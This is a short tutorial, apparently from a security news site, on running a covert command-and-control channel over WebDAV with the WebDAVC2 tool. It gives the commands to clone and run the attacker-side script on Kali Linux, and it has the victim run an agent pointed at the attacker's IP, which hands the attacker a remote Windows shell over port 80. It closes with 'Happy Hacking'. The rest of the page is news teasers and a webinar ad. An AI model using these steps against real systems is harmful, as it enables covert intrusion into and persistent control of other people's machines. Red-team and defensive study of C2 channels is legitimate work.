Monday, November 25, 2024
HomeMaintaining AccessWebDAV to Run a Secret Communication Channel between Victim and Control Server

WebDAV to Run a Secret Communication Channel between Victim and Control Server

Published on

WebDAV(Web Distributed Authoring and Versioning) is the extended framework of HTTP protocol which includes more features such as clients can connect to the web server and perform actions like a modification of files on the web server.

It works on port 80 and 443.So we can use web server ports as command and control channel to obtain the shell.To perform this attack download the WebDAVC2 tool Here.

Here I have used Kali Linux(Attacker Machine) and Victim Machine (Windows 10)

- Advertisement - SIEM as a Service

Installation & Configuration

Git clone this repository:

  •  root@kali:~# git clone https://github.com/Arno0x/WebDAVC2

Change directory into the WebDavC2 folder:

  • root@kali:~# cd WebDAVC2

Give the execution permission to the script:

  • root@kali:~# chmod +x webDavC2.py

ATTACKER MACHINE – WebDAV

  • Run the tool and provide the remote web server IP.Here I have given Windows 10 machine IP address.
WebDAV
  • Above Image shows scripts is actively looking for port 80, once the client is connected we should get the shell.

Must Read Complete Kali Tools tutorials from Information gathering to Forensics

VICTIM MACHINE

  • Open the agent.exe executable in cmd of windows 10 machine.
WebDAV
  • Run CMD and Execute the command:agent.exe <Attackers IP> as the listener.
WebDAV
  • Above figure shows victim agent is connected to attackers IP.

BACK TO ATTACKERS MACHINE

  • Once the Listener is executed on my windows 10 victim machine, Here we got a shell with port 80.
WebDAV
  • Let us try some windows commands to control of victim pc.
WebDAV
WebDAV
  • Above figures show Windows 10 is accessible via port 80 on attackers machine.

NOTE: This script uses PROPFIND feature of WebDev used to retrieve remote system.

Therefore WebDev can be used as the C2 communication channel to maintain access to victim machine or delivering malicious payloads.Happy Hacking !!!

Latest articles

Threat Actors Exploit Google Docs And Weebly Services For Malware Attacks

Phishing attackers used Google Docs to deliver malicious links, bypassing security measures and redirecting...

Python NodeStealer: Targeting Facebook Business Accounts to Harvest Login Credentials

The Python-based NodeStealer, a sophisticated info-stealer, has evolved to target new information and employ...

XSS Vulnerability in Bing.com Let Attackers Send Crafted Malicious Requests

A significant XSS vulnerability was recently uncovered in Microsoft’s Bing.com, potentially allowing attackers to...

Meta Removed 2 Million Account Linked to Malicious Activities

 Meta has announced the removal of over 2 million accounts connected to malicious activities,...

Free Webinar

Protect Websites & APIs from Malware Attack

Malware targeting customer-facing websites and API applications poses significant risks, including compliance violations, defacements, and even blacklisting.

Join us for an insightful webinar featuring Vivek Gopalan, VP of Products at Indusface, as he shares effective strategies for safeguarding websites and APIs against malware.

Discussion points

Scan DOM, internal links, and JavaScript libraries for hidden malware.
Detect website defacements in real time.
Protect your brand by monitoring for potential blacklisting.
Prevent malware from infiltrating your server and cloud infrastructure.

More like this

ICMP Shell- Secret Command and Control Channel to Control Victims Machine Using Ping

Corporate firewalls can block reverse and bind TCP connections. However, corporate firewalls are behind internal...

Bithumb Hacked – Hackers Transferred $20 Million Worth Cryptocurrencies From Bithumb Wallet

Bithumb Hacked 3rd time, Yes, One of the worlds largest cryptocurrency exchange Bithumb Hacked...